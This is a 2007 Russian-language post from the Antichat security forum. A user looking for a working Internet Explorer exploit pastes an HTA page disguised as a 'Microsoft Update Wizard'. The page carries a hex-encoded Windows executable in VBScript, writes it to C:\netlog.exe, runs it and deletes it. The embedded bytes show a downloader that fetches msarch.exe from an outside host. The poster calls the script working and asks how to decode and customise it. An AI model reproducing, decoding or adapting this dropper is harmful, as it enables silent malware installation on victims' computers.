Вопрос о Эксплоите для Ie

29.09.2007, 03:23

4uTeP

Новичок

Регистрация: 05.09.2006

Сообщений: 8

Провел на форуме:
115406

Репутация: 0

Отправить сообщение для 4uTeP с помощью ICQ

На милворме или плохо искал либо ненашел то что нужно.
>gibson В том топе ненашел ничего хорошего..
>Termin@L Менял менял. мне нужно чтоб под SP2 тож шло.
Вот еще есть на .HTA

<HTML><HEAD><TITLE>Microsoft Update Wizard</TITLE>
<HTA:APPLICATION id=MSUpdate
APPLICATIONNAME="Microsoft Update"
SHOWINTASKBAR=NO
CAPTION=YES
SINGLEINSTANCE=YES
MAXIMIZEBUTTON=NO
MINIMIZEBUTTON=NO
WINDOWSTATE=MINIMIZE
/></HEAD>
<OBJECT id="MSmedia" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></OBJECT>
<OBJECT id="MSplay" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></OBJECT>
<BODY><SCRIPT language="VBScript">
self.MoveTo 6000,6000
z=""
a="4"+"D"+"5"+"A"
z=z+(h(a))
z=z+(H("90000300000004000000FFFF0000B8000000000000 00400000000000000000000000000000000000000000000000 000000000000000000000000D80000000E1FBA0E00B409CD21 B8014CCD21546869732070726F6772616D2063616E6E6F7420 626520"))
z=z+(H("72756E20696E20444F53206D6F64652E0D0D0A2400 00000000000003E9D8DE4788B68D4788B68D4788B68D2597A5 8D4188B68DC494B88D4688B68D4788B78D5088B68D2897B28D 4488B68D13AB878D4688B68D526963684788B68D0000000000 0000000000"))
z=z+(H("0000000000000000000000000000504500004C0101 00E9E004430000000000000000E0000F010B01060000060000 00000000000000005412000000100000002000000000400000 10000000020000040000000000000004000000000000000020 0000000200"))
z=z+(H("000000000002000000000010000010000000001000 00100000000000001000000000000000000000002813000050 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 0000000000"))
z=z+(H("000000000000000000000000000000000000000000 00000000000000001000005400000000000000000000000000 00000000000000000000000000002E746578740000007E0400 00001000000006000000020000000000000000000000000000 200004E000"))
z=z+(H("0000000000000046140000F4130000001400000E14 00001A140000281400003A14000000000000DE130000D61300 00CC1300000000000003000080100000801300008004000080 34000080090000801700008073000080000000000000000000 0000000000"))
z=z+(H("00000D0A0D0A00000000323030204F4B0000626573 742D766F796575722E696E666F00000000474554202F6D7361 7263682E65786520485454502F312E300D0A486F73743A2062 6573742D766F796575722E696E666F0D0A0D0A000000006D73 617263682E"))
z=z+(H("65786500000000000000000000558BECB8CCA20700 E8130200005356578D8558FEFFFF506801010000FF154C1040 0033DB536A016A02FF15481040008BF083FEFF8975FC0F8440 0100006A5066C745EC0200FF1544104000FF7508668945EEFF 1540104000"))
z=z+(H("3BC30F841D0100008B400C8B008B008945F06A108D 45EC5056FF153C10400083F8FF0F84FD00000053FF750CFF15 0410400050FF750C56FF1538104000395D100F84D800000053 BBA00F0000538D85345DF8FF50568B35341040008DBD345DF8 FFEB1B8BCF"))
z=z+(H("8D95345DF8FF2BCA81F920A107007D0F6A005303F8 57FF75FCFFD685C07FDF83F8FF0F8498000000FF75FC802700 8D85345DF8FF8BF72BF0FF15301040008B3D281040008D8534 5DF8FF686810400050FFD785C059597468686010400050FFD7 8BF885FF59"))
z=z+(H("5974586A0068800000006A026A006A0368000000C0 FF751083C704FF15101040008BD883FBFF74336A008D45E850 2BF78D8435345DF8FF505753FF150C10400085C0741753FF15 0810400085C0740C33C040EB0956FF153010400033C05F5E5B C9C3558BEC"))
z=z+(H("81EC58010000568D85A8FEFFFF506804010000FF15 0010400068BC1040008D85A8FEFFFF50FF15181040008D85A8 FEFFFF5068841040006870104000E838FEFFFF83C40C33F683 F801753E6A448D45AC5650E8720000006A108D45F05650C745 AC44000000"))
z=z+(H("E85F00000083C4188D45F0508D45AC505656565656 568D85A8FEFFFF5056FF151410400056FF15241040005ECCCC CCCCCCCCCCCC513D001000008D4C2408721481E9001000002D 0010000085013D0010000073EC2BC88BC485018BE18B088B40 0450C3CCFF"))
z=z+(H("2520104000CCCC981300000000000000000000E813 00002010000078130000000000000000000056140000001000 00A81300000000000000000000721400003010000000000000 0000000000000000000000000000000046140000F413000000 1400000E14"))
z=z+(H("00001A140000281400003A14000000000000DE1300 00D6130000CC13000000000000030000801000008013000080 040000803400008009000080170000807300008000000000C5 027374727374720000490265786974000099026D656D736574 00004D5356"))
z=z+(H("4352542E646C6C000008036C7374726C656E410000 1B00436C6F736548616E646C6500DF02577269746546696C65 00340043726561746546696C65410044004372656174655072 6F63657373410000F9026C7374726361744100006501476574 54656D7050"))
z=z+(H("6174684100004B45524E454C33322E646C6C000041 445641504933322E646C6C00005753325F33322E646C6C0000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 0000000000"))
z=z+(H("000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 0000000000"))
z=z+(H("000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 0000000000"))
z=z+(H("000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 0000000000"))
z=z+(H("000000000000000000000000000000000000000000 00000000000000"))
FileName="C:\netlog.exe"
set IESetup=MSmedia.CreateTextFile(FileName, TRUE)
IESetup.Write(z)
IESetup.Close()
MSplay.Run (FileName),1,TRUE
MSmedia.DeleteFile(FileName)
self.Close
Function H(H1)
Dim H2
Dim H3:H2=""
For H3=1 To Len(H1) Step 2
m=1
H2=H2&Chr("&h"&Mid(H1,H3,2))
m=0
Next
H=H2
End Function
</SCRIPT></BODY></HTML>

СОздает в C: нетлог ехе. Скрипт старый но рабочий ток вот немогу нИкаГ раскодировать СиМволы и изменить под себя .

ANTICHAT — форум по информационной безопасности, OSINT и технологиям